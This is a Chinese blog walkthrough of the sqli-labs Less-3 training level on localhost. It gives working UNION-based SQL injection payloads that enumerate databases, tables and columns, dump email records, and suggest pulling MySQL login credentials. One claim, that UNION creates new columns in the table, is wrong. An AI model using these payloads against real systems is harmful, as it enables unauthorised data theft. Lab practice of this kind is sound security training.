sqli-labs Less-3 通关笔记

blog 332

进入靶场。需要传入一个ID值

0x01 判断注入类型

传入?id=1a发现没有报错。说明它是一个字符串注入。如果是字符串的话1a会被强制类型转换为1。所以等同于id=1

http://localhost/sql/Less-3/?id=1a
sqli-labs Less-3 通关笔记

我们尝试更换Payload

http://localhost/sql/Less-3/?id=1' --+ 

发现页面依旧报错。也就是说要么是注释失效。要么是闭合出错

尝试更换注释

http://localhost/sql/Less-3/?id=1' %23

依旧报错。于是尝试修改闭合

sqli-labs Less-3 通关笔记

发现页面返回正常。由此可推断后端应该是这么写的

没有传值之前的语句:select id,username,passwrod from users where id = ('$id') Limit 0,1

当我们传值之后的语句:select id,username,passowrd from users where id =('1')   -- ')
--后面的就被注释掉了。于是语句成功执行。

0x02 判断字段长度

知道了注入类型之后。于是我们就需要判断字段的长度

http://localhost/sql/Less-3/?id=1')  order by 3 --+ 页面返回正常

http://localhost/sql/Less-3/?id=1')  order by 4 --+ 页面返回错误

由此可以判断。该数据库表的字段列为3列。

根据查询结果来看。页面存在回显。于是我们可以尝试使用union联合查询注入

0x03 union联合查询注入

0x03.1 测试union注入

关于union联合查询语句的使用 前面已经介绍过了。这里不再介绍。如果有不了解的小伙伴。可以点击我传送过去

http://localhost/sql/Less-3/?id=1')  union select 1,2,3 --+

发现页面并没有任何改变。猜测可能是后端进行限制只能显示一行 也就是Limit 0,1的限制

于是我们可以将id=1修改为-1使前方的查询为空。后者查询就会回显到页面

http://localhost/sql/Less-3/?id=-1')  union select 1,2,3 --+
sqli-labs Less-3 通关笔记

之后在页面中得到回显2和3。也就说2和3会被回显到页面。我们只需要更换2和3位置的字符串就可以

union 语句的特性:如果users列表中没有12两个列名。那么它就会自动创建这里这两个列

sqli-labs Less-3 通关笔记

0x03.2 获取数据库基本信息

http://localhost/sql/Less-3/?id=-1')  union select 1,version(),database() --+
sqli-labs Less-3 通关笔记

通过结果我们得出了该数据库的版本为5.7.34。使用的数据库名为security

0x03.2 获取所有数据库名

http://localhost/sql/Less-3/?id=-1')  union select 1,group_concat(schema_name),2 from information_schema.schemata --+
sqli-labs Less-3 通关笔记

0x03.3 获取某个数据库的表

http://localhost/sql/Less-3/?id=-1')  union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security' --+
sqli-labs Less-3 通关笔记

可以得到security数据库中有emalis,referers,uagents,users这几张表

0x03.4 获取某个数据表的列

http://localhost/sql/Less-3/?id=-1')  union select 1,group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='emails' --+s
sqli-labs Less-3 通关笔记

可以发现security数据库中的emails表下有两列,分别为idemail_id

0x03.5 获取某个表的所有数据

http://localhost/sql/Less-3/?id=-1')  union select 1,group_concat(id,'!',email_id),2 from emails --+
sqli-labs Less-3 通关笔记

其他的数据库的获取于此同理。刚刚看到。页面当我们语法输入错误的时候会在页面中回显报错内容。于是此处也存在报错注入。感兴趣的朋友可以参照上关或者自行尝试

大家可以尝试获取mysql登录的用户名和密码。它在名为mysql数据库的一个表中存着呦。

分享